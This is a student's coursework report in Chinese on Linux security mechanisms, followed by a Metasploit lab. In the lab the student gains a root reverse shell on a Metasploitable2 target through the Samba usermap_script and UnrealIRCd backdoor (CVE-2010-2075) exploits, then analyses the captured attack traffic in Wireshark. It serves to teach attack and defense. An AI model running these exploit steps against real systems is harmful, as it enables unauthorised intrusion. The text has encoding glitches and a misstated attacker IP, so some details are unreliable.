20199311 2019-2020-2《网络攻防实践》第8周做业

问题 回答
这个做业属于哪一个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个做业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635
我在这个课程的目标是 学习教材第八章,了解Linux操做系统的网络攻防技术
这个做业在哪一个具体方面帮助我实现目标 相关知识点和实践任务

1. 实践内容

1.1 Linux操做系统基本框架概述

1.1.1 Linux 系统结构

linux操做系统的整体结构以下图所示,在Linux内核中,在硬件抽象层中的各种设备驱动 和序能够彻底访问硬件设备,方便地以模块化形式设置,并在系统运行期间可直接经过 LKM 机制(Loadable Kernel Module)装载或卸载。在硬件抽象层之上是内核服务功能模块,包括进程管理、内存管理、文件系统、设备控制与网络这五个子系统;而这些内核模块经过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。
图片描述linux

  • Linux进程与线程管理机制:Linux 内核采用抢占式多用户多进程(multiprocessing)模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用。web

  • Linux内存管理机制:Linux内存管理模块(MM)容许多个进程安全地共享物理内存区域,每一个进籽使用两套段描述符来分别访问内核态和用户态的内存空算法

  • Linux 的文件系统管理机制:Linux 内核使用了虚拟文件管理 VFS (Virtual File System) 机制,VFS 虚拟文件管理为用户进程提供了一组通用的文件系统调用函数(包括open 、close、read 、write 等),能够对不一样文件系统中的文件进行统一的操做。shell

  • Linux 的设备控制机制:Linux 内核中处理或者管理硬件控制器的软件叫作设备驱动程序。Linux 核心的设备驱动程序本质上是特权的、驻留内存的低级的硬件控制例程的共享库。Linux 的一个基本特色是抽象了设备的处理,全部的硬件设备都像常规文件同样看待。apache

  • Linux 的网络机制:Linux 内核中的网络模块提供了对各类网络标准的存取和各类网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。
    图片描述安全

Linux 内核经过上述五个方面的机制实现了操做系统基本的硬件管理与系统功能,这些内核模块都运行在 CPU 的核心态, 而应用程序则运行于用户态,它们并不能直接访问内核内存空间,也不能直接调用内核函数。Linux 提供了系统调用接口, 来容许应用程序透过这层接口来访问硬件设备和其余系统资源,这有助于保证 Linux 系统的稳定可靠和安全并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。网络

1.2 Linux 操做系统安全机制

与 Windows 操做系统相似,Linux 操做系统的核心安全机制也主要是身份认证、受权与访问控制、安全审计这三个部分。并发

1.2.1 Linux 身份认证机制

Linux 是一个多用户多任务的操做系统,经过建立多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用 Linux 操做系统。框架

  • linux 用户:tcp

    • Root 根用户:在系统中是惟 的拥有全高无上权限的超级用户,能够操做系统中 任何的文件与命令。
    • 普通用户:由使用者建立的登陆系统并执行基本计算任务的用户,只能操做本身目录中的内容,执行权限受限。
    • 系统用户:这类用户不具备登陆系统的能力,但倒是系统运行不可缺乏的用户, 好比用于启动网络服务的 daemon、 apache 等用户,以及匿名访问的 nobody、 ftp 等用户。
      Linux 用户信息保存在系统的/etc/passwd 文件中,具体包括用户名、每一个用户惟一的 uid、使用 Shell 类型、用户初始目录等,而加密口令字则存放于 /etc/shadow 文件中,只对 Root 可读。
  • Linux 用户组:具备相同特征的用户帐号集合,用于简化整个系统的用户权限理。 Linux 用户组信息保存在 /etc/gshadow 文件中,可使用 id -a 来进行查询当前用户所属用户组。

  • Linux 的远程登陆用户认证机制:第一种方式为基于口令的身份认证,使用 Linux 系统内建的用户帐号和口令,就能够登陆到远程主机上;第二种方式为基于非对称密钥的身份认证。此外 Linux 系统中的大量网络服务都实现了本身的身份认证机制,如 MD5 散列、LANMAN\NTLM 散列算法等等。

  • Linux统一身份认证中间件 PAM:PAM 提供一些动态连接库和一套统一的 API,将系统提供的服务和该服务的认证方式分开。PAM 支持的四种管理界面:认证管理,帐户管理,密码管理,会话管理。

1.2.2 Linux 受权与访问控制机制

全部文件与设备资源的访问控制都经过 NFS 虚拟文件系统来实现

  • 文件的全部者:每一个 Linux 文件都拥有其全部者,代表了该文件屈于哪一个用户全部,以文件全部者的 uid 以及文件全部者所在组的 gid 来指明。

  • 文件的访问权限:文件访问权限经过附带的10个标志位来来进行设置。第一位表示文件类型,二到九位每三位分红一组。组内三位分别表示,读取权限、写入权限和执行权限。三组分别表明全部者、全部组和全部用户。

  • 文件的特殊执行权限:SUID与SGID权限,SUID 权限容许可执行文件在运行时刻从运行者的身份提高至文件全部者权限,能够任意存取文件全部者能使用的所有系统资源,设置了 SGID 位的程序执行时是以全部者的组的权限进行运行,该程序就能够任意存取整个用户组可以使用的系统资源。

  • Linux访问控制机制的不足及改进:访问权限的细粒度不足,不支持完整的ACL访问控制列表设置。

1.2.3 Linux 安全审计机制

Linux的安全审计机制则主要经过三个主要的日志子系统来实现:链接时间日志、进程统计日志和错误日志纪录。

  • 链接时间日志:系统管理员能跟踪谁在什么时候登陆到系统
  • 进程统计日志:为系统中的基本服务提供命令使用统计
  • 错误日志记录:报告值得注意的事件
    图片描述

1.3 Linux系统远程攻防技术

攻击者首先利用踩点、扫描和查点等技术手段来收集关于目标 Linux 系统的信息, 而后攻击者从远程网络发掘某个监听网络服务中的安全漏洞或配置弱点,来获取本地 Shell 访问权,而一旦得到 Shell 访问权,攻击者就已经在目标 Linux 系统上得到了立锥之地,而转入本地攻击的环节。

  • 远程网络上侵入 Linux 系统的主要方法:对 Linux 系统各类网络服务的身份认证过程所涉及的用户口令字进行猜想攻击;发掘 Linux 系统某个监听网络服务的安全漏洞并进行利用;经过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户;Linux 做为路由器所遭受的攻击。以下图所示
    图片描述

1.4 Linux系统本地安全攻防技术

攻击者在利用前面介绍的远程渗透攻击技术在Linux系统上得到访问权以后,就开始
转入本地攻击,接下来要进行本地特权提高攻击来提高他的访问权限,以后经过清理 Linux 系统事件日志来消踪灭迹,避免被系统管理员所发觉和追查,最后在离开他们攻陷的系统以前,还会植入后门程序,来确保他们之后可以轻易地重返这台系统。以下图所示
图片描述

2. 实践过程

2.1 动手实践:使用 Metasploit 进行 Linux 远程渗透攻击

使用 Metasploit 渗透测试软件,攻击 Linux 靶机上的 Samba 服务 usermap_script 安全漏洞,获取目标 Linux 靶机的主机访问权限。实践步骤以下:

  1. 启动 Metasploit 软件,可根据我的喜爱使用 msfconsole、msfgui、msfweb 之一;
  2. 使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块;
  3. 选择攻击 PAYLOAD 为远程Shell,(正向或反向链接都可);
  4. 设置渗透攻击参数(RHOST,LHOST,TARGET等);
  5. 执行渗透攻击;
  6. 查看是否正确获得远程Shell,并查看得到的权限。

本次实验所采用的攻击机为kail linux,靶机为 Metasploitable2-Linux,ip地址以下表所示

主机名称 ip地址
kail 192.168.200.3
linux 192.168.200.125

首先,经过命令msfconsole启动渗透软件
图片描述
经过命令user exploit/multi/samba/usermap_script 使用渗透攻击模块,同时使用show options查看须要配置的参数
图片描述
设置攻击的PAYLOADcmd/unix/reverse,同时设置攻击的RHOSTS为靶机地址192.168.200.125,和LHOST为192.168.200.3
图片描述
使用命令exploit进行攻击,攻击成功
图片描述
经过命令whomai查看当前权限帐户,发现当前权限帐户为 root
图片描述

2.2 实践做业

攻防对抗实践: 攻击方使用 Metasploit 渗透软件针对 Linux Metasploitable 靶机实施网 络攻击,防护方则在 Metasploitatble 上使用 tcpdump 或 Wireshark 或 Snort 工具捕获攻击流,并分析出攻击者利用了哪一个安全漏洞进行攻击,从官方网站上下载该安全漏洞补丁进行系统修补,双方合做给出攻防过程报告。

  • 攻击方: 使用 Metasploit,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,得到远程控制权,并尝试进一步得到 Root 权限。
  • 防守方: 使用 tcpdump/wireshark/snort 监听得到网络攻击的数据包文件,并结合 wireshark/snort 分析攻击过程,获取攻击者 IP 地址、目标 IP 和端口、攻击发起时间、攻击利用漏洞、使用 Shellcode,以及成功以后在本地执行命令输入等信息。
  • 团队合做完成渗透攻击与分析实验报告。

攻击过程
首先使用 nmap 扫描靶机,查看开放的端口,及端口上的服务,命令nmap -sV 192.168.200.125
图片描述
而后使用 nessus 扫描靶机的相关漏洞
图片描述

图片描述
(到这里时发生了一个问题,就是个人 kail 不知道为何崩溃了,再次开机就无限登录就是进不去......,试了一下午的解决方法都没用,最后只能重装系统了,心累)
选择UnrealIRCd Backdoor Detection漏洞,漏洞编号为CVE-2010-2075,网上搜索资料显示,这个漏洞原理为在DEBUG3_DOLOG_SYSTEM宏中引入外部的修改(特洛伊木马),远程攻击者能够执行任意命令。
在 kail 中使用命令search CVE-2010-2075搜索可用模块
图片描述
使用命令use exploit/unix/irc/unreal_ircd_3281_backdoor设置攻击模块,和命令show payloads查看可用载荷
图片描述
选择载荷cmd/unix/reverse,同时使用show options查看所需配置
图片描述
配置RHOSTSLHOST(靶机地址和攻击机地址,分别为192.168.200.125和192.168.200.10)
图片描述exploit执行
图片描述

图片描述
攻击成功
首先查看一下当前用户的权限whoami,是 root 权限
图片描述
而后查看一下靶机的网络配置
图片描述

分析过程
因为靶机上没有 wireshark 工具,因此在 kail 上攻击的同时打开 wireshark 分析,分析过程以下所示
首先由捕获的数据包可知,ip 地址为192.168.200.10的主机的不少不一样的端口向 ip 地址为192.168.200.125的主机的6667端口发送了不少数据包,所以能够肯定攻击机的 ip 地址为192.168.200.125,目标主机的 ip 地址为192.168.200.125,目标端口为6667号端口
图片描述
同时查看数据包详细信息能够获得攻击时间为4月20日,20点45分
图片描述
接着上网搜索一下 linux 关于6667端口的信息,首先发现6667端口上提供 Internet 多线交谈服务(IRC),接着发如今6667端口上有一个关于 ircd 服务的漏洞 msf利用Metasploitable 2 漏洞之6667端口之unreal_ircd_3281_backdoor,再根据捕获的数据包中有关于 IRC 协议的数据包,攻击者大几率使用的是这个漏洞
图片描述

追踪 TCP 流,能够发现攻击者使用的shellcode
图片描述

以及攻击者在靶机上执行的命令,有lsifconfigwhoami
图片描述
分析完成

3. 学习中遇到的问题及解决

  • 问题1:关于实践二的漏洞寻找
  • 问题1解决方案:一开始在扫描靶机漏洞完成后尝试了几个漏洞,可是都没有成功,最后因为 kail 莫名奇妙的出现了问题,致使一下午都在寻找恢复 kail 的方法,最后也没有找到,只好重装系统,而后又试了几个漏洞仍是不行,最后实在没办法就参考了其余同窗的博客

4. 学习感想和体会

经过学习教材和实践初步了解了对于 linux 系统的攻防技术。因为实践过程当中出现了上述一点小麻烦,此次感受心态有一点小崩。

参考资料

网络攻防技术与实践
msf利用Metasploitable 2 漏洞之6667端口之unreal_ircd_3281_backdoor
UnrealIRCd 后门未受权访问漏洞

相关文章
相关标签/搜索